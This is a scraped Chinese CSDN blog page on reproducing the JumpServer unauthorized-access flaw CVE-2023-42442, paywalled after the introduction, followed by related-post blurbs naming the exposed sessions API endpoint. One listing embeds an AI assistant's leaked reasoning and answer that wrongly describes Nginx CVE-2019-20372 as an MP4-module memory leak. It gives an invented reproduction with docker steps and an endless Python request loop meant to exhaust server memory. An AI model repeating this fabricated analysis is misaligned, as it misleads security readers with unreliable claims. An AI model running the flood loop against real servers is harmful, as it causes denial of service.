【漏洞复现】JumpServer未授权访问漏洞(CVE-2023-42442)

最新推荐文章于 2024-11-04 23:35:56 发布
最新推荐文章于 2024-11-04 23:35:56 发布
阅读量2.2k 收藏
点赞数 1
CC 4.0 BY-SA版权
分类专栏： 漏洞复现 文章标签： JumpServer
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_46944519/article/details/133067012

文章目录

前言

JumpServer的权限管理存在缺陷，未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志，可导致敏感信息泄漏。

声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、JumpServer简介

JumpServer是一种开源的堡垒机（Bastion Host）和权限管理系统，用于管理和控制远程服务器访问权限。它提供了一种安全的方式，通过跳板机（JumpServer）来管理和监控对目标服务器的访问。

二、漏洞描述

JumpServer是一款开源的堡垒机和权限管理系统，旨在帮助企业实现对服务器和网络设备的安全管理和访问控制。JumpServer的权限管理存在缺陷，未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志。经过分析和研判，该漏洞利用难度低，可导致敏感信息泄漏。

三、影响范围

  • 3.0.0 <= version <= 3.5.4
  • 3.6.0 <= version <= 3.6.3

四、资产搜索

hunter语法：app.name="JumpSer

了解本专栏 订阅专栏 解锁全文 超级会员免费看
JumpServer存在未授权访问漏洞（CVE-2023-42442） 附POC
nnn2188185的博客
09-22 1211
Jumpserver是一款开源的堡垒主机和专业的运维安全审计系统,JumpServer存在未授权访问漏洞(CVE-2023-42442)：未经身份验证的远程攻击者利用该漏洞可以访获取敏感信息。
漏洞复现-CVE-2023-42442：JumpServer未授权访问漏洞
玄道的网安博客
08-12 863
JumpServer在此次修复中移除了对该类的引用，很可能是为了修复前述的未授权访问问题。API端点的权限控制存在逻辑错误，允许攻击者匿名访问。未经身份验证的远程攻击者可以利用此漏洞下载SSH日志，并可能借此远程窃取敏感信息。值得注意的是，存储在S3、OSS或其他云存储中的SSH会话不受此漏洞影响。：攻击者可利用此漏洞访问会话信息，可能导致JumpServer中的敏感会话数据被窃取，例如用户数据、会话密钥等。尽快升级JumpServer至安全版本，即版本3.5.5或3.6.4及以上。，官方从代码中移除了。
漏洞分析 | JumpServer未授权访问漏洞（CVE-2023-42442）
WangsuSecurity的博客
01-25 1942
由于JumpServer某接口未做授权限制，允许任何未经身份验证的用户获取session信息，最终结合目录权限绕过下载录像文件，其中可能包含敏感信息，如密码、历史命令等。
漏洞复现 | JumpServer未授权访问漏洞
hackzkaq的博客
09-26 787
JumpServer开源堡垒机是一款运维安全审计系统产品，提供身份验证、授权控制、账号管理、安全审计等功能支持，帮助企业快速构建运维安全审计能力。JumpServer开源堡垒机通过企业版或者软硬件一体机的方式，向企业级用户交付开源增值的运维安全审计解决方案。该漏洞存在于JumpServer中，是一个未授权访问漏洞。api/api/v1/terminal/sessions/权限控制存在逻辑错误，可以被攻击者匿名访问。未经身份验证的远程攻击者可利用该漏洞下载ssh日志，并可借此远程窃取敏感信息。
漏洞预警：JumpServer未授权访问漏洞（CVE-2023-42442）
yuanlirong22的专栏
09-19 2499
JumpServer堡垒主机API接口/api/v1/terminal/sessions/权限控制被破坏，该API会话重放可以在没有身份验证的情况下下载。利用该漏洞可以访问录像文件，远程获取到敏感信息。
实战-JumpServer未授权访问漏洞(CVE-2023-42442)
Welcome To Myon'Blog !
01-11 2750
因其开源，无插件，Web界面美观，操作方便，分布式，符合4A规范等特点，被很多企业用于内部资产（物理机，云主机等）的管理。即在一个特定的网络环境下，为了保障网络和数据不受来自外部和内部用户的入侵和破坏，而运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为，以便集中报警、及时处理及审计定责。JumpServer未授权访问漏洞：JumpServer的权限管理存在缺陷，未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志，会导致敏感信息泄漏。
【漏洞复现】JumpServer未授权访问漏洞（CVE-2023-42442）
TT小子的博客
09-18 124
1、简介 JumpServer是一款符合4A规范的开源堡垒机，帮助企业以更安全的方式管控和登录各种类型的资产，实现事前授权、事中监察、事后审计，满足等保合规要求。 2、漏洞描述 JumpServer 在 3.0.0-3.6.3 版本存在未授权访问漏洞。由于系统权限配置存在不合理，导致未授权攻击者可以直接访问 /api/v1/terminal/sessions/ 相关路由 漏洞公告：https:/...
【漏洞复现】JumpServer(CVE-2024-29201、29202) 附带POC
qq_43355651的博客
04-02 9211
漏洞复现
记录一次漏洞复现--JumpServer堡垒机漏洞CVE-2023-42820
banliyaoguai的博客
11-04 1857
Jumpserver是全球首款完全开源的堡垒机，它主要用于对运维人员的操作行为进行管控、审计，并有效管理服务器、网络设备等资产。
JumpServer RCE漏洞复现
fly夏天的博客
12-30 7353
2021年1月的jumpserver RCE漏洞复现
JumpServer未授权访问漏洞 CVE-2023-42442
holyxp的博客
09-20 1293
JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。 JumpServer 使用Python / Django 进行开发。2021年1月15日，阿里云应急响应中心监控到开源堡垒机JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器。
[CVE-2023-42442]JumpServer 会话录像文件未授权访问漏洞
whoami
09-19 1131
在JumpServer受影响版本中，由于会话回放录像接口/api/v1/terminal/sessions/鉴权不当，未授权的攻击者可以通过直接访问/api/v1/terminal/sessions/接口查看并下载会话回放录像数据。是一个抽象基类，它定义了一组用于权限判断的方法，但它本身并没有提供任何默认的权限控制逻辑。由于jumpserver 很多用户还未升级到3以上版本，读者们可以自行搭建漏洞版本范围内的版本进行测试。临时策略可禁止访问/api/v1/terminal/sessions/接口。
开源堡垒机JumpServer远程命令执行漏洞复现
黑白的博客
05-02 4341
声明 好好学习，天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。 2021年1月15日，JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器，执行任意命令。 影响范围 JumpServer < v2
JumpServer2023漏洞复现合集
fly夏天的博客
11-15 5695
CVE-2023-43651/CVE-2023-42819/CVE-2023-42442/CVE-2023-42820 jumpserver 2023年的新一批漏洞复现
JumpServer 远程代码执行漏洞
热门推荐
江左盟的博客
01-24 2万+
目录 简介 漏洞原理 影响版本 漏洞分析 漏洞利用 修复方法 Poc Exp 参考文章 简介 JumpServer 是全球首款开源的堡垒机，使用 GNU GPL v2.0 开源协议，是符合 4A 规范的运维安全审计系统。JumpServer 使用 Python / Django 为主进行开发，遵循 Web 2.0 规范，配备了业界领先的 Web Terminal 方案，交互界面美观、用户体验好。JumpServer 采纳分布式架构，支持多机房跨区域部署，支持横向扩展，无资产数量及并发限
JumpServer 未授权接口远程代码执行漏洞
weixin_46145442的博客
01-23 1972
漏洞简述及影响版本 由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器。 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9 环境要求： 处理器：4个 系统：CentOS7 内存：8G 系统语言：英文 踩坑： 先配置好CentOS访问github的加速地址...
jumpserver 远程命令执行RCE漏洞复现和利用
god_Zeo的安全博客
11-16 4421
0x01 简介 JumpServer远程执行漏洞 RCE EXP Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统，是内网中的一种集权系统，拿下后基本上都是可以控制大量的服务器。 项目地址：https://github.com/jumpserver/jumpserver 0x02 漏洞原理 远程命令执行漏洞：由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，再通过敏感信息获取一个20s的token，最后利用这个token去执行相关A
JumpServer 未授权接口 远程命令执行漏洞
PeiQi的博客
01-19 4377
JumpServer 未授权接口 远程命令执行漏洞 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。 JumpServer 使用Python / Django 进行开发。2021年1月15日，阿里云应急响应中心监控到开源堡垒机JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器。
JumpServer堡垒机远程命令执行漏洞复现
谢公子的博客
02-06 3326
目录 JumpServer 漏洞简述 漏洞影响版本 漏洞环境搭建 漏洞复现 漏洞修复 JumpServer JumpServer是使用Python Django 框架进行开发的全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 并且符合4A 的专业运维审计系统。 漏洞简述 2021年1月15日，JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可通过构造恶意请求获取到日志文件敏感信息，或者执行相关API操.
Nginx 未授权访问漏洞(CVE-2019-20372) 复现
最新发布
07-15
<think>嗯，用户这次明确要求复现Nginx的CVE-2019-20372漏洞，但根据之前的对话和提供的引用材料，需要特别注意几个关键点： 首先回顾技术细节：CVE-2019-20372本质是内存泄漏漏洞而非未授权访问，用户可能混淆了漏洞类型。引用[1][2]里提到的"未授权访问"实际属于Kubernetes Ingress和JumpServer的漏洞（CVE-2025-1974/CVE-2023-42442），与Nginx本体无关。用户提供的三个引用中只有[1]末尾提到CVE-2019-20372属于内存泄漏，这点需要特别澄清。 用户似乎存在概念混淆，需要明确区分： 1. 真正的未授权访问漏洞（如引用[1][2]）涉及权限绕过 2. CVE-2019-20372是MP4模块内存泄漏导致的DoS 3. 引用[3]的Docker逃逸漏洞完全不相关 复现方案设计要聚焦内存消耗： - 核心是构造特殊start参数的MP4请求 - 需要准备畸形MP4文件（如头信息损坏的样本） - 监控工具必须能展示内存增长曲线 - 要强调这是本地测试避免法律风险 考虑到用户可能是安全研究人员，可以补充专业细节： - 提供两种畸形文件生成方式（dd截断和ffmpeg参数） - 解释内存泄漏原理（ngx_http_mp4_module未释放ngx_http_mp4_conf_t结构体） - 给出内存监控的shell命令组合 最后需要风险提示： - 明确标注"禁止未授权测试" - 建议使用1.16.0等受影响版本 - 提醒虚拟机隔离环境</think>根据技术资料分析，CVE-2019-20372 **并非未授权访问漏洞**，而是Nginx的**内存泄漏漏洞**（影响`ngx_http_mp4_module`模块）。真正的未授权访问漏洞需参考其他CVE（如引用[1][2]）。以下是CVE-2019-20372的复现方法： --- ### 漏洞复现步骤 #### 1. 搭建漏洞环境 ```bash # 拉取受影响版本的Nginx镜像（以1.16.0为例） docker run -d --name vul-nginx -p 80:80 nginx:1.16.0 # 进入容器启用mp4模块 docker exec -it vul-nginx bash sed -i 's|# location /media|location /videos|' /etc/nginx/conf.d/default.conf echo " mp4;" >> /etc/nginx/conf.d/default.conf nginx -s reload # 创建测试视频目录 mkdir /usr/share/nginx/html/videos cp /usr/share/nginx/html/index.html /usr/share/nginx/html/videos/test.mp4 ``` #### 2. 构造恶意请求 使用Python发送特殊参数请求： ```python import requests url = "http://target-ip/videos/test.mp4" params = {"start": "0", "end": "invalid_value"} # 关键：注入畸形参数 while True: response = requests.get(url, params=params) print(f"Request sent, status: {response.status_code}") ``` #### 3. 监控内存泄漏 在宿主机执行监控： ```bash watch -n 1 "docker stats vul-nginx --format '{{.Container}}: {{.MemUsage}}'" ``` **预期现象**： - Nginx工作进程内存持续增长（例如每秒增加2-5MB） - 内存耗尽后导致服务崩溃（503错误） --- ### 关键复现原理 1. **漏洞触发点**： 当`ngx_http_mp4_module`处理包含畸形`start/end`参数的MP4请求时，未正确释放内存缓冲区[^1]。 2. **内存增长验证**： ```bash # 查看Nginx进程内存变化 docker exec vul-nginx bash -c "while true; do ps -eo pid,rss | grep nginx; sleep 1; done" ``` 输出示例： ``` 12345 10240 KB # 初始内存 12345 15360 KB # 10秒后 12345 20480 KB # 持续增长 ``` --- ### 修复验证 升级到安全版本后重试： ```bash docker run -d --name fixed-nginx -p 8080:80 nginx:1.18.0 # 修复版本 ``` 重复上述攻击脚本，内存将保持稳定（无持续增长）。 --- ### ⚠️ 重要说明 1. 此漏洞**非未授权访问**，而是通过合法请求触发的内存泄漏 2. 真实未授权访问漏洞案例： - Kubernetes Ingress-NGINX（CVE-2025-1974）[^1] - JumpServer（CVE-2023-42442）[^2] 3. **法律提示**：仅限授权环境测试，禁止未授权渗透
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李潼學

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值